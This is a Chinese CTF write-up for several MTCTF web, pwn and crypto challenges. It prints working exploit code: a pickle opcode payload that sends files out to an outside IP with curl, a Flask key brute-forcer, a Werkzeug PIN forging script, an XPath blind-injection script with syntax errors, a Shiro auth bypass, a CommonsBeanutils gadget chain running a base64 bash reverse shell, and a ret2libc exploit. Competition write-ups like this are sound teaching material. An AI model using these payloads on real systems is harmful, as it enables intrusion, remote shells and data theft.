MTCTF Writeup By Light1ng

Web

easypickle

下载附件,是一个flask框架,然后很明显的存在pickle反序列化,首先我们需要伪造session成为admin。

import base64
import pickle
from flask import Flask, session
import os
import random

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()
print(app.config['SECRET_KEY'])
@app.route('/')
def hello_world():
    if not session.get('user'):
        session['user'] = ''.join(random.choices("admin", k=5))
    return 'Hello {}!'.format(session['user'])


@app.route('/admin')
def admin():
    if session.get('user') != "admin":
        return f"<script>alert('Access Denied');window.location.href='/'</script>"
    else:
        try:
            a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
            if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
                raise pickle.UnpicklingError("R i o b is forbidden")
            pickle.loads(base64.b64decode(session.get('ser_data')))
            return "ok"
        except:
            return "error!"


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8888)

这里的key是随机两字节的hex,很短,直接爆破了,这里贴一个网上公开的脚本:

import os

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3:  # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4:  # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else:  # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface


class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key


class FSCM(ABC):
    def encode(secret_key, session_cookie_structure):
        """ Encode a Flask session cookie """
        try:
            app = MockApp(secret_key)

            session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
            si = SecureCookieSessionInterface()
            s = si.get_signing_serializer(app)

            return s.dumps(session_cookie_structure)
        except Exception as e:
            return "[Encoding error] {}".format(e)
            raise e

    def decode(session_cookie_value, secret_key=None):
        """ Decode a Flask cookie  """
        try:
            if (secret_key == None):
                compressed = False
                payload = session_cookie_value

                if payload.startswith('.'):
                    compressed = True
                    payload = payload[1:]

                data = payload.split(".")[0]

                data = base64_decode(data)
                if compressed:
                    data = zlib.decompress(data)

                return data
            else:
                app = MockApp(secret_key)

                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.loads(session_cookie_value)
        except Exception as e:
            return "[Decoding error] {}".format(e)
            raise e


dic = '0123456789abcdef'
if __name__ == '__main__':
    for i in dic:
        for j in dic:
            for k in dic:
                for l in dic:
                    key = i + j + k + l
                    res = FSCM.decode('eyJ1c2VyIjoiZG1ubm4ifQ.YyVnKg.gh-CqX6tnM1otj37Zgs91tggvEU', key)
                    # print(res)
                    if 'user' in str(res):
                        print(key)
                        exit()
image-20220917155340052

爆破得到key为6284,现在就可以通过flask_session_cookie_manager来伪造session。

image-20220917155748993

目前就成功伪造了session。接下来看看后面的反序列化逻辑。

image-20220917155821455

从session中获取ser_data键的值,然后替换掉一些字符,然后过滤R i o b,就没法用pker来生成payload了,这里直接手搓opcode了,

b'''(cos\nsystem\nS'calc'\nos.'''

然后现在只需要把这个base64编码一下,然后作为ser_data的值,写入session即可。因为没有回显,尝试了反弹shell无果后,选择了curl外带数据,然后直接外带的话,因为换行的原因,只显示第一行,所以说选择把命令执行结果写入文件,然后把文件的内容外带出来

b'''(cos\nsystem\nS'ls>/3.txt'\nos.''' #把ls的结果写入根目录的3.txt
b'''(cos\nsystem\nS'curl -T /3.txt http://101.43.66.67:12345'\nos.'''  #外带/3.txt的内容到服务器上
image-20220917160536235
image-20220917160613341

发现flag就在当前目录,所以直接外带flag数据就行了。

payload:

a2 = b'''(cos\nsystem\nS'curl -T flag http://101.43.66.67:12345'\nos.'''
print(base64.b64encode(a2)) #KGNvcwpzeXN0ZW0KUydjdXJsIC1UIGZsYWcgaHR0cDovLzEwMS40My42Ni42NzoxMjM0NScKb3Mu

然后伪造session

image-20220917160836032
image-20220917161459387
flag{d58017f8-7e52-42e1-9306-dc3310813531}

OnlineUnzip

在打开源码阅读之后发现考点为pin码伪造但需要去上传含有软链接的文件,在搜索文章后发现做法

https://xz.aliyun.com/t/11647?page=1

https://xz.aliyun.com/t/8092#toc-3

https://xz.aliyun.com/t/2589

利用脚本为

import hashlib
from itertools import chain
import argparse



def getMd5Pin(probably_public_bits, private_bits):
    h = hashlib.md5()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode('utf-8')
        h.update(bit)
    h.update(b'cookiesalt')

    num = None
    if num is None:
        h.update(b'pinsalt')
        num = ('%09d' % int(h.hexdigest(), 16))[:9]

    rv = None
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                              for x in range(0, len(num), group_size))
                break
        else:
            rv = num

    return rv

def getSha1Pin(probably_public_bits, private_bits):
    h = hashlib.sha1()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode("utf-8")
        h.update(bit)
    h.update(b"cookiesalt")

    num = None
    if num is None:
        h.update(b"pinsalt")
        num = f"{int(h.hexdigest(), 16):09d}"[:9]

    rv = None
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = "-".join(
                    num[x: x + group_size].rjust(group_size, "0")
                    for x in range(0, len(num), group_size)
                )
                break
        else:
            rv = num

    return rv

def macToInt(mac):
    mac = mac.replace(":", "")
    return str(int(mac, 16))

if __name__ == '__main__':
    parse = argparse.ArgumentParser(description = "Calculate Python Flask Pin")
    parse.add_argument('-u', '--username',required = True, type = str, help = "运行flask用户的用户名")
    parse.add_argument('-m', '--modname', type = str, default = "flask.app", help = "默认为flask.app")
    parse.add_argument('-a', '--appname', type = str, default = "Flask", help = "默认为Flask")
    parse.add_argument('-p', '--path', required = True, type = str, help = "getattr(mod, '__file__', None):flask包中app.py的路径")
    parse.add_argument('-M', '--MAC', required = True, type = str, help = "MAC地址")
    parse.add_argument('-i', '--machineId', type = str, default = "", help = "机器ID")
    args = parse.parse_args()

    probably_public_bits = [
        args.username,
        args.modname,
        args.appname,
        args.path
    ]

    private_bits = [
        macToInt(args.MAC),
        bytes(args.machineId, encoding = 'utf-8')
    ]
    md5Pin = getMd5Pin(probably_public_bits, private_bits)
    sha1Pin = getSha1Pin(probably_public_bits, private_bits)

    print("Md5Pin:  " + md5Pin)
    print("Sha1Pin:  " + sha1Pin)

已知pin码由username,modname,getattr(app, "__name__", app.__class__.__name__),getattr(mod, "__file__", None),str(uuid.getnode()), get_machine_id()这六个参数构成

读取网卡/sys/class/net/eth0/address

machine-id构造先读取/proc/self/cgroup,取第一行,利用正则value.strip().partition("/docker/")[2]分割拿到数据,结果为空,继续走,取/etc/machine-id,文件不存在,则去读/proc/sys/kernel/random/boot_id

image-20220917212224081.png
 /proc/self/cgroup 11:name=systemd:/kubepods/podeci-2zegwb2qirhajqqy0l20/bc85db0c4c55f3bbdceccee42016a58f71449fe40d0439ba73387eff00987a87
10:devices:/kubepods/podeci-2zegwb2qirhajqqy0l20/bc85db0c4c55f3bbdceccee42016a58f71449fe40d0439ba73387eff00987a87
9:blkio:/kubepods/podeci-2zegwb2qirhajqqy0l20/bc85db0c4c55f3bbdceccee42016a58f71449fe40d0439ba73387eff00987a87
8:net_cls,net_prio:/kubepods/podeci-2zegwb2qirhajqqy0l20/bc85db0c4c55f3bbdceccee42016a58f71449fe40d0439ba73387eff00987a87
7:perf_event:/kubepods/podeci-2zegwb2qirhajqqy0l20/bc85db0c4c55f3bbdceccee42016a58f71449fe40d0439ba73387eff00987a87
6:cpuset:/kubepods/podeci-2zegwb2qirhajqqy0l20/bc85db0c4c55f3bbdceccee42016a58f71449fe40d0439ba73387eff00987a87
5:memory:/kubepods/podeci-2zegwb2qirhajqqy0l20/bc85db0c4c55f3bbdceccee42016a58f71449fe40d0439ba73387eff00987a87
4:cpu,cpuacct:/kubepods/podeci-2zegwb2qirhajqqy0l20/bc85db0c4c55f3bbdceccee42016a58f71449fe40d0439ba73387eff00987a87
3:hugetlb:/kubepods/podeci-2zegwb2qirhajqqy0l20/bc85db0c4c55f3bbdceccee42016a58f71449fe40d0439ba73387eff00987a87
2:freezer:/kubepods/podeci-2zegwb2qirhajqqy0l20/bc85db0c4c55f3bbdceccee42016a58f71449fe40d0439ba73387eff00987a87
1:pids:/kubepods/podeci-2zegwb2qirhajqqy0l20/bc85db0c4c55f3bbdceccee42016a58f71449fe40d0439ba73387eff00987a87
0::/
/etc/machine-id
96cec10d3d9307792745ec3b85c89620

加上前面的bc85db0c4c55f3bbdceccee42016a58f71449fe40d0439ba73387eff00987a87
所以机器码为: 96cec10d3d9307792745ec3b85c89620bc85db0c4c55f3bbdceccee42016a58f71449fe40d0439ba73387eff00987a87

获得app.py的路径,可以通过制造报错得到。制作一个/路径的软链接即可目录穿越查看到python路径并查看到了flag文件,点击查看即会报错,得到app.py的绝对路径。

image-20220917213704607.png

最后通过利用脚本做出pin码登录

image-20220917211916205.png
image-20220917211706132.png

babyjava

考点提示为xpath注入

在网上搜索了一个脚本和一些文章并对其进行修改

https://blog.csdn.net/weixin_30185907/article/details/113460995

https://www.likecs.com/show-203608955.html?sc=3869

https://www.codenong.com/cs106556717/

利用盲注脚本对根节点进行猜测

'or substring(name(/*[1]), {}, 1)

然后猜测子节点

'or substring(name(/root/*[1]), {}, 1)

最后对于user节点的下一节节点猜测

or substring(name(/root/user/*[position()=2]),{},1)

import time
import requests
import string
import re


url = "http://eci-2ze0evt5ezb27535qg8y.cloudeci1.ichunqiu.com:8888/hello"
headers = {"Content-Type": "application/x-www-form-urlencoded"}
# 猜测根节点名称
# payload_1 = "xpath=user1' and substring(name(/*),{},1)='{}' and ''='"
flag = ''
strs = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
for i in range(1, 100):
	for j in strs
        payload3 = "xpath=user1' and substring(/root/user/*[position()=2], " + str(i) + ", 1)='" + chr(j) + "' and ''='"
        result = requests.post(url, payload3, headers=headers)
        if "This information" not in result.text:
            flag = flag + chr(j)
            print(flag)
image-20220917213530587.png

easyjava

打开附件看了一下依赖,有shiro、cb和cc库。

image-20220917215642881

打开环境用工具爆破了一下key,没爆破出来。然后看到了/admin/hello 路由,就明白这个题不是直接打shiro的反序列化了。

image-20220917220007740

这个路由自定义了一个反序列化,看起来绕过鉴权之后,就能直接打了。后面发现这里还存在有黑名单过滤类。但是有一点问题就是TemplatesImpl类,前面少了个小数点。然后就能直接用CB链打了。

image-20220917220215739

鉴权绕过的话,就直接用CVE-2020-11989

http://47.95.211.153:22983/;/web/admin/hello

然后直接用CB链生成一个反弹shell的恶意字节码的base64编码就行了

恶意字节码

package ShiroCB;

import java.lang.reflect.Method;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Hacker extends AbstractTranslet{
    public Hacker() throws Exception {
        Class runtime = Class.forName("java.lang.Runtime");
        Method exec = runtime.getMethod("exec", String.class);
        Method getruntime = runtime.getMethod("getRuntime");
        Object r = getruntime.invoke(runtime);
        exec.invoke(r,"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDMuNjYuNjcvMTIzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}");
    }

    public static void main(String[] args) {

    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

CB链

package ShiroCB;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;


import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.PriorityQueue;


public class CB1 {
    public static void main(String[] args) throws Exception{
        byte[] code = Files.readAllBytes(Paths.get("D:\\Cc\\IntelliJ IDEA 2021.1\\ShiroAttck\\target\\classes\\ShiroCB\\Hacker.class"));
        byte[][] codes = {code};//恶意类
        //CC3
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes",codes);
        setFieldValue(obj, "_name", "aaaa");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        //CB
        final BeanComparator comparator = new BeanComparator();
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        queue.add(1);
        queue.add(1);

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();


        byte[] payload= barr.toByteArray();
        System.out.println(Base64.getEncoder().encodeToString(payload));


    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

把得到的base64编码,进行url编码一下,然后直接作为data数据发过去

image-20220917221040534

收到反弹的shell,find命令查找一下flag位置

image-20220917221141156
image-20220917221220978
flag{f0391e7d-ec7e-4a8e-8160-ddb1c257e380}

Pwn

note

checksec发现只开了nx,然后整个程序的逻辑是在栈上管理若干个堆块。

不难发现,在edit功能的函数内,下标指针v2是int类型的,这里检查越界只检查了是否大于0x10,

int __fastcall sub_4014B6(__int64 a1)
{
  int v2; // [rsp+14h] [rbp-Ch]
  void *buf; // [rsp+18h] [rbp-8h]

  printf("Index: ");
  v2 = readint();
  if ( v2 > 0x10 || !*(_QWORD *)(16LL * v2 + a1) )
    return puts("Not allowed");
  buf = *(void **)(16LL * v2 + a1);
  printf("Content: ");
  return read(0, buf, *(int *)(16LL * v2 + a1 + 8));
}

所以是存在问题的。

经过动态调试,发现v2为-1的时候,恰好可以劫持到sub_4014B6的rbp和ret地址,所以直接在这里ret2libc打两遍,第一遍leak libcbase,第二遍ret到system("/bin/sh")即可getshell。

exp

from pwn import *
import LibcSearcher
context.log_level='debug'
context.arch='amd64'
# p = process('./note')
p = remote('39.106.133.19', 44964)
elf = ELF('./note')
libc = elf.libc

ru = lambda x : p.recvuntil(x)
sla = lambda x,y : p.sendlineafter(x,y)
sa = lambda x,y : p.sendafter(x,y)

def choice(idx):
	sla('ve\n', str(idx))

def add(size, content=p64(0xdeadbeef)):
	choice(1)
	sla('ze: ', str(size))
	sa('tent: ', content)

def show(idx):
	choice(2)
	sla('dex: ', str(idx))

def edit(idx, content):
	choice(3)
	sla('dex: ', str(idx))
	sa('tent: ', content)

def delete(idx):
	choice(4)
	sla('dex: ', str(idx))

def g(arg=''):
	gdb.attach(p, arg)
	raw_input()


# for i in range(16):
# 	add(0x60)
add(0x60)
# pay = asm(shellcraft.sh())
# g('b *0x401500')

# g('b *0x401579')
# g('b *0x401500')
prt_got = elf.got['printf']
puts_plt = elf.plt['puts']
pop_rdi = 0x00000000004017b3 # pop rdi ; ret
ret = 0x000000000040101a # ret
pay = p64(0)+p64(pop_rdi)+p64(prt_got)+p64(puts_plt)+p64(0x401679)
edit(-4, pay)

libcbase = u64(p.recv(6).ljust(0x8, b'\x00'))-0x61c90
print(hex(libcbase))

# g('b *0x401579')
one = [0xe3afe, 0xe3b01, 0xe3b04]
sys = libc.symbols['system']
binsh = next(libc.search(b'/bin/sh\x00'))
pay = p64(0x404080)+p64(ret)+p64(pop_rdi)+p64(libcbase+binsh)+p64(sys+libcbase)+p64(0x401679)
# pay = p64(0x404080) + p64(one[1]+libcbase) + p64(0x401679)
edit(-4, pay)
# choice(5)
# pay = p64(0x401150)*2
# edit(-1, pay)
# g()

p.interactive()

Crypto

strange_rsa1

gift是p和q的比值,所以其实是可以直接求出来p和q的,但问题在于python自带函数的精度不够,这里用到了sage来设置好精度计算,

# https://sagecell.sagemath.org/
n = 108525167048069618588175976867846563247592681279699764935868571805537995466244621039138584734968186962015154069834228913223982840558626369903697856981515674800664445719963249384904839446749699482532818680540192673814671582032905573381188420997231842144989027400106624744146739238687818312012920530048166672413
c = 23970397560482326418544500895982564794681055333385186829686707802322923345863102521635786012870368948010933275558746273559080917607938457905967618777124428711098087525967347923209347190956512520350806766416108324895660243364661936801627882577951784569589707943966009295758316967368650512558923594173887431924
gift = 0.9878713210057139023298389025767652308503013961919282440169053652488565206963320721234736480911437918373201299590078678742136736290349578719187645145615363088975706222696090029443619975380433122746296316430693294386663490221891787292112964989501856435389725149610724585156154688515007983846599924478524442938
pp = numerical_approx((n*gift), prec=1020)
p = numerical_approx(sqrt(pp), prec=1020)
print(int(p))

然后在python中求出q和d

from Crypto.Util.number import *
import gmpy2
from math import *


def qpow(a, b, p):
    res = 1
    while(b):
        if b%2==1:
            res = (res*a)%p
        a = (a*a)%p
        b//=2
    return res


n = 108525167048069618588175976867846563247592681279699764935868571805537995466244621039138584734968186962015154069834228913223982840558626369903697856981515674800664445719963249384904839446749699482532818680540192673814671582032905573381188420997231842144989027400106624744146739238687818312012920530048166672413
c = 23970397560482326418544500895982564794681055333385186829686707802322923345863102521635786012870368948010933275558746273559080917607938457905967618777124428711098087525967347923209347190956512520350806766416108324895660243364661936801627882577951784569589707943966009295758316967368650512558923594173887431924
e = 65537
p = 10354173078239628635626920146059887542108509101478542108107457141390325356890199583373894457500644181987484104714492532470944829664847264360542662124954077
q = n//p
print(int(p))
print(int(q))
phin = (p-1)*(q-1)
d = gmpy2.invert(e, phin)
print(d)
m = qpow(c, d, n)
print(long_to_bytes(m))